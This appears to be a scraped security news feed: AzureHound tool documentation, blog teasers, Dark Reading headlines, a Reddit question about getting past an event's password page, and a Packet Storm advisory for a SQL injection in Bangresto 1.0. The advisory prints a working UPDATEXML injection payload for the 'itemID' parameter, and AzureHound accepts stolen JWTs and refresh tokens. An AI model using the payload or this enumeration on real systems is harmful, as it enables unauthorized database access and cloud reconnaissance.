hacking: security in practice
How do I break through the password page?

https://external-preview.redd.it/IHIlxM6BC4ApTSvGz022I0--tRiFz95Fdzh4pNbXin4.jpg?width=640&crop=smart&auto=webp&s=05024df16e646327d9a70eb17a51938985d07bd5 I was part of this event but I did not get a password

submitted by /u/DaSovietBoi
[link] [comments]

Deep Web
This is a community for fellow Community Members to interact and share:

* Awareness of Scam, phishing, shady websites on the clear net.

* Discuss Experiences both good and bad with clear net websites.

* Discuss clear net trending topics and news.

https://www.reddit.com/r/clearnet/comments/zlcyii/rclearnet_has_been_created/

submitted by /u/phaevor
[link] [comments]

AzureHound - Azure Data Exporter For BloodHound
http://www.kitploit.com/2022/12/azurehound-azure-data-exporter-for.html

The BloodHound (https://www.kitploit.com/search/label/BloodHound) data collector for Microsoft (https://www.kitploit.com/search/label/Microsoft) Azure Get AzureHound Release Binaries Download the appropriate binary (https://www.kitploit.com/search/label/Binary) for your platform from one of our Releases (https://github.com/BloodHoundAD/AzureHound/releases). Rolling Release The rolling release contains pre-built binaries that are automatically kept up-to-date (https://www.kitploit.com/search/label/Up-to-date) with the main branch and can be downloaded from here (https://github.com/BloodHoundAD/AzureHound/releases/tag/rolling). Warning: The rolling release may be unstable. Compiling Prerequisites Go 1.18 (https://go.dev/dl/) or later To build this project from source run the following: go build -ldflags="-s -w -X github.com/bloodhoundad/azurehound/constants.Version=`git describe tags --exact-match 2> /dev/null || git rev-parse HEAD`" Usage Quickstart Print all Azure (https://www.kitploit.com/search/label/Azure) Tenant data to stdout ❯ azurehound list -u "$USERNAME" -p "$PASSWORD" -t "$TENANT" Print all Azure Tenant data to file ❯ azurehound list -u "$USERNAME" -p "$PASSWORD" -t "$TENANT" -o "mytenant.json" Configure and start data collection service for BloodHound Enterprise ❯ azurehound configure
(follow prompts)

❯ azurehound start CLI ❯ azurehound --help
AzureHound vx.x.x
Created by the BloodHound Enterprise team - https://bloodhoundenterprise.io

The official tool for collecting Azure data for BloodHound and BloodHound Enterprise

Usage:
azurehound [command]

Available Commands:
completion Generate the autocompletion script for the specified shell
configure Configure AzureHound
help Help about any command
list Lists Azure Objects
start Start Azure data collection service for BloodHound Enterprise

Flags:
-c, --config string AzureHound configuration file (default: /Users/dlees/.config/azurehound/config.json)
-h, --help help for azurehound
--json Output logs as json
-j, --jwt string Use an acquired JWT to authenticate into Azure
--log- file string Output logs to this file
--proxy string Sets the proxy URL for the AzureHound service
-r, --refresh-token string Use an acquired refresh token to authenticate into Azure
-v, --verbosity int AzureHound verbosity level (defaults to 0) [Min: -1, Max: 2]
--version version for azurehound

Use "azurehound [command] --help" for more information about a command.


Download AzureHound (https://github.com/BloodHoundAD/AzureHound)

Hacking on Medium
XRAY GUI Starter Web Vulnerability Scanner

https://cdn-images-1.medium.com/max/1263/1*5iPTRtfGhJ5NpEsXnWr-SA.png
xray is an excellent web vulnerability scanning tool, But only the command line version, Start via config.yaml file. In many cases, it is…

Continue reading on Medium »

Hacking on Medium
Serangan Brute Force: Cara kerja, Metode Serangan, dan Tutorial Brute Force menggunakan Tools…

https://cdn-images-1.medium.com/max/2600/0*YIb5wdbm71VVsVTy
Brute Force Attack yaitu merupakan metode yang dilakukan oleh peretas dalam upaya memasuki akses akun korban secara paksa dengan mencoba…

Continue reading on Medium »

Dark Reading: Attacks/Breaches
Live From London: Next-Gen Cybersecurity Takes Stage at Black Hat Europe

Check out our slideshow detailing the emerging cybersecurity trends in cloud, creating a defensible Internet, malware evolution, and more that lit up audiences in London.

Dark Reading: Attacks/Breaches
Improve Confidence and Context to Sell the SOC on Automating

SIEM and XDE made a lot of promises, but they don't quite live up to the SOC team's standards.

KitPloit - PenTest Tools!
AzureHound - Azure Data Exporter For BloodHound

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxH4ORvtpJZLry3tPrOdrXtg4IZ3wKmD5jgL1MF4dFmYha42IOKeYVKJFGtwOoacaOZreL3-rixcCank0fW1cBhkwYCBGBO00xJ7-dzulegHFExvvqvhbDjFhutjk13ODp8rcqFlsXFwNPXbJH8qW1PZ0ZM3W6_54t9Jq7o6Lkm7UFPK6g-_1PVUgQbw/w640-h480/azure.jpg
The BloodHound data collector for Microsoft Azure
Get AzureHound

Release Binaries

Download the appropriate binary for your platform from one of our Releases.

Rolling Release

The rolling release contains pre-built binaries that are automatically kept up-to-date with the mainbranch and can be downloaded from here.

Warning: The rolling release may be unstable.

Compiling

Prerequisites

* Go 1.18 or later

To build this project from source run the following:

go build -ldflags="-s -w -X github.com/bloodhoundad/azurehound/constants.Version=`git describe tags --exact-match 2> /dev/null || git rev-parse HEAD`"

Usage

Quickstart

Print all Azure Tenant data to stdout

❯ azurehound list -u "$USERNAME" -p "$PASSWORD" -t "$TENANT"

Print all Azure Tenant data to file

❯ azurehound list -u "$USERNAME" -p "$PASSWORD" -t "$TENANT" -o "mytenant.json"

Configure and start data collection service for BloodHound Enterprise

❯ azurehound configure
(follow prompts)

❯ azurehound start

CLI

❯ azurehound --help
AzureHound vx.x.x
Created by the BloodHound Enterprise team - https://bloodhoundenterprise.io

The official tool for collecting Azure data for BloodHound and BloodHound Enterprise

Usage:
azurehound [command]

Available Commands:
completion Generate the autocompletion script for the specified shell
configure Configure AzureHound
help Help about any command
list Lists Azure Objects
start Start Azure data collection service for BloodHound Enterprise

Flags:
-c, --config string AzureHound configuration file (default: /Users/dlees/.config/azurehound/config.json)
-h, --help help for azurehound
--json Output logs as json
-j, --jwt string Use an acquired JWT to authenticate into Azure
--log- file string Output logs to this file
--proxy string Sets the proxy URL for the AzureHound service
-r, --refresh-token string Use an acquired refresh token to authenticate into Azure
-v, --verbosity int AzureHound verbosity level (defaults to 0) [Min: -1, Max: 2]
--version version for azurehound

Use "azurehound [command] --help" for more information about a command.

Download AzureHound

Exploit Collector
Bangresta 1.0 SQL Injection

https://4.bp.blogspot.com/-42b-8Yu8ql4/WWlvfoDuyhI/AAAAAAAAIQE/GMGQD7Uo7DMncRccI_LNcWgfvYRkd0zwQCLcBGAs/s1600/h86.png
Bangresta version 1.0 suffers from a remote SQL injection vulnerability.

SHA-256 | 6e637787eb6b3ed2d785900a186d5cd5989d7cf6482606330db770e979bcd9ab

Download
## Title: Bangresto 1.0 SQLi
## Author: nu11secur1ty
## Date: 12.16.2022
## Vendor: https://axcora.com/, https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html
## Demo: https://axcora.my.id/bangrestoapp/start.php
## Software: https://github.com/mesinkasir/bangresto
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Bangresto

## Description:
The `itemID` parameter appears to be vulnerable to SQL injection attacks.
The payload ' was submitted in the itemID parameter, and a database
error message was returned.
The attacker can be stooling all information from the database of this
application.

## STATUS: CRITICAL Vulnerability

[+] Payload:

```MySQL
---
Parameter: itemID (GET)
Type: error-based
Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
Payload: itemID=(UPDATEXML(2539,CONCAT(0x2e,0x7171767871,(SELECT
(ELT(2539=2539,1))),0x7170706a71),2327))&menuID=1
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Bangresto)

## Proof and Exploit:
[href](https://streamable.com/moapnd)

## Time spent
`00:30:00`

Source:packetstormsecurity.com